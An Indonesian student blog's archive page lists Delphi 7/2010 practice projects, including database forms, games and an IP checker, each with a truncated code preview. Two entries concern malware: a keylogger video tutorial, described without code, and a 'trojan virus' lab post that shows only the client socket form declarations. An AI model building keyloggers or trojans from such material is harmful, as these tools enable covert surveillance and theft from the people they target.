Postingan

Menampilkan postingan dari April, 2012

APLIKASI DATABASE KKR BY DELPHI 2010 (Microsoft Access 2010)

Gambar
//*Coding By Lhourens*// //*Entreprise*// //*Target AdoTable (Access 2010)*// ------------------------------------------------------------------------------------------------- Untuk Form1 unit DataBase_; interface uses   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,   Dialogs, Grids, DBGrids, DB, DBClient, ExtCtrls, DBCtrls, DBTables, ADODB,   StdCtrls, Mask, Menus, AccessXP, OleServer, OutlookXP; type   TForm1 = class(TForm)     Panel1: TPanel;     dbgEmployee: TDBGrid;     Panel2: TPanel;     DBNavigator1: TDBNavigator;     dsEmployee: TDataSource;     ADOTable1: TADOTable;     Panel3: TPanel;     Memo1: TMemo;     Panel4: TPanel;     Label1: TLabel;     Label2: TLabel;     Label3: TLabel;     DBEdit1: TDBEdit;     DbCombobox1: TDBComboBox;     DBEdit2: TDBEdit;     DBMemo1: TDBMemo;     Label4: TLabel;     Label5: TLabel;     MainMenu1: TMainMenu;     File1: TMenuItem;     Exit1: TMenuItem;     Help1: TMenuItem;  

PRAKTIKUM BORLAND DELPHI 2010 GAMES (BY BSI)

Gambar
//*Coding Games By Lhourens.R.L*// //*BSI *// //*Target Shape,Timer,ProgressBar*// ------------------------------------------------------------------------------------------------ unit Tugas_13090318; interface uses   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,   Dialogs, ExtCtrls, ComCtrls; type   TForm1 = class(TForm)     Timer1: TTimer;     Panel2: TPanel;     Shape2: TShape;     Timer2: TTimer;     ProgressBar2: TProgressBar;     Panel1: TPanel;     Shape1: TShape;     ProgressBar1: TProgressBar;     Timer3: TTimer;     procedure FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);     procedure Timer1Timer(Sender: TObject);     procedure Timer2Timer(Sender: TObject);     procedure FormActivate(Sender: TObject);     procedure Timer3Timer(Sender: TObject);   private     { Private declarations }   public     { Public declarations }   end; var   Form1: TForm1;   Kanan,kiri,atas,bawah,Knn,kr,ats,bwh : Boo

GAMES ROLLER COASTER BY DELPHI 2010

Gambar
//*Demo Games *// //*CopyRight 2012*// //*Non BSI*/ ------------------------------------------------------------------------------------------- unit U_RCoaster6; {Copyright  © 2002,2003  Gary Darby,  www.DelphiForFun.org  This program may be used or modified for any non-commercial purpose  so long as this original notice remains in place.  All other rights are reserved  } interface uses   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,   ExtCtrls, StdCtrls, ComCtrls, Grids, u_Splines, U_CoasterB, Menus,   mmsystem, Spin, jpeg; type   TForm1 = class(TForm)     PageControl: TPageControl;     TrackPage: TTabSheet;     CartPage: TTabSheet;     Runpage: TTabSheet;     FrictionBar: TTrackBar;     Label1: TLabel;     CartYEdt: TEdit;     CHeightUD: TUpDown;     CartXEdt: TEdit;     CLengthUD: TUpDown;     Label5: TLabel;     Label6: TLabel;     FrictionLbl: TLabel;     MassEdt: TEdit;     Label8: TLabel;     Label9: TLabel;   

Embarcadero® Delphi® 2010 Delphi 7

Gambar
KELEBIHAN DELPHI 2010   Delphi 2010 adalah aplikasi development Tool yang digunakan untuk membuat aplikasi berbasis windows dan web secara cepat dan mudah, pada dasarnya Delphi 2010 hampir sama dengan versi sebelumnya. hanya saja di versi ini, delphi dilengkapi dengan segudang fitur dan fasilitas yang belum ada pada versi - versi delphi sebelumnya, seperti gesture yang digunakan pada aplikasi berbasis monitor touchscreen. fitur Ribbon yang dapat mempercantik tampilan form aplikasi. aplikasi yang dapat dibangun dengan menggunakan Delphi ini antara lain : a. aplikasi database client b. aplikasi server c. aplikasi web d. Website dan webservices e. Aplikasi berbasis multi-tier f. ActiveX control. dengan tampilan dan fitur yang lebih lengkap, anda juga mendapatkan kelebihan - kelebihan lain, sebagai berikut : 1. Dengan fitur yang banyak dan sangat atraktif sehingga mampu membuat tim developer lebih produktif dalam menciptakan produk-produk software yang berkualitas. 2.

APLIKASI SEDERHANA BERBASIS DB, ADODB, Grids, DBGrids, DBTables (Delphi 7)

Gambar
//*BINA SARANA INFORMATIKA*// //*Coding By Lhourens R.L*// //*Target Tables,DBGrib*// ------------------------------------------------------------------------------------------ unit F_Mobil; interface uses   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,   Dialogs, StdCtrls, DB, ADODB, Grids, DBGrids, DBTables, Buttons,   ExtCtrls, DBCtrls; type   TForm1 = class(TForm)     Label1: TLabel;     Label2: TLabel;     DBGrid1: TDBGrid;     DataSource1: TDataSource;     ekd: TEdit;     Label3: TLabel;     enm: TEdit;     eno: TEdit;     Label4: TLabel;     Label5: TLabel;     Label6: TLabel;     rs: TRadioButton;     rk: TRadioButton;     rsd: TRadioButton;     bt: TBitBtn;     bs: TBitBtn;     be: TBitBtn;     bb: TBitBtn;     bkeluar: TBitBtn;     ecari: TEdit;     Label7: TLabel;     bcari: TBitBtn;     Table1: TTable;     em: TEdit;     Label8: TLabel;     DBNavigator1: TDBNavigator;     procedure FormActivate(Sender:

PROGRAM CHECKING IP_ADDRESS V4 By DELPHI 7

Gambar
//BINA SARANA INFORMATIKA// //Coding by Lhourens...// //Target IP_ADDRESS V4// --------------------------------------------------------------------------------------------   unit IP_ADDRESS; interface uses   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,   Dialogs, StdCtrls, ExtCtrls, IdBaseComponent, IdComponent, IdIPWatch; type   TForm1 = class(TForm)     IdIPWatch1: TIdIPWatch;     Edit1: TEdit;     Button1: TButton;     Timer1: TTimer;     Label1: TLabel;     Label2: TLabel;     procedure Button1Click(Sender: TObject);     procedure Timer1Timer(Sender: TObject);   private     { Private declarations }   public     { Public declarations }   end; var   Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); begin Timer1.Enabled:=True; Edit1.Text:='Melihat Dulu...'; If Edit1.Text = 'Melihat Dulu...' Then Begin    Label2.Caption :='Stand By...Brow';    End;

VIDEO TUTORIAL KEYLOGGER BY DELPHI 7

Video Tutorial..... Cara Membuat KeyLogger..Dengan Delphi 7...      Video ini saya sharing untuk memberikan sobat BSI...semuanya cara bagaimana Pembuatan Keyloggger...dengan Delphi 7. semunya tidak ada unsur kesengajaan...namun secara pasti hanya sebagai penambah Ilmu buat anda......sekalian*****

TROJAN VIRUS BY DELPHI 7 (TESTING)

Gambar
//BINA SARANA INFORMATIKA// //Coding By Communitas// Remix > Lhourens/ //Testing Praktikum Virus (target) ------------------------------------------------------------------------------------------------------- Contoh Pembuatan Trojan Virus.... Untuk Form1....Client unit Contoh_Virus_Trojan; interface uses   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,   Dialogs, StdCtrls, ScktComp; type   TForm1 = class(TForm)     Edit1: TEdit;     Button1: TButton;     Button2: TButton;     Button3: TButton;     Label1: TLabel;     Label2: TLabel;     ClientSocket1: TClientSocket;     procedure Button3Click(Sender: TObject);     procedure ClientSocket1Connect(Sender: TObject;       Socket: TCustomWinSocket);     procedure ClientSocket1Connecting(Sender: TObject;       Socket: TCustomWinSocket);     procedure ClientSocket1Disconnect(Sender: TObject;       Socket: TCustomWinSocket);     procedure Button1Click(Sender: TObject);     proc

PRAKTIKUM BSI DELPHI 7 V

Gambar
//BINA SARANA INFORMATIKA //Coding By Lhourens.L //Testing Praktikum Windows 7 (Target) ----------------------------------------------------------------------------------------------------- Contoh Mematikan Sementara CPU....(Hibernate) unit Monitor_Hibernate_win7; interface uses   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,   Dialogs, StdCtrls, jpeg, ExtCtrls; type   TForm1 = class(TForm)     Image1: TImage;     Button1: TButton;     Label1: TLabel;     procedure Button1Click(Sender: TObject);   private     { Private declarations }   public     { Public declarations }   end; var   Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); begin WinExec('cmd /C shutdown -h',SW_SHOW); end; end. Screen Shut Program...........

VIDEO FILEZILLA PRAKTIKUM

Cara menggunakan FileZila....... Silahkan ditonton videonya....<><><><><>

Aplikasi Handphone

Silahkan Download || APPS_7610 || Defenisi  SymBian..... Silahkan Baca Disini >> || OS SYMBIAN ||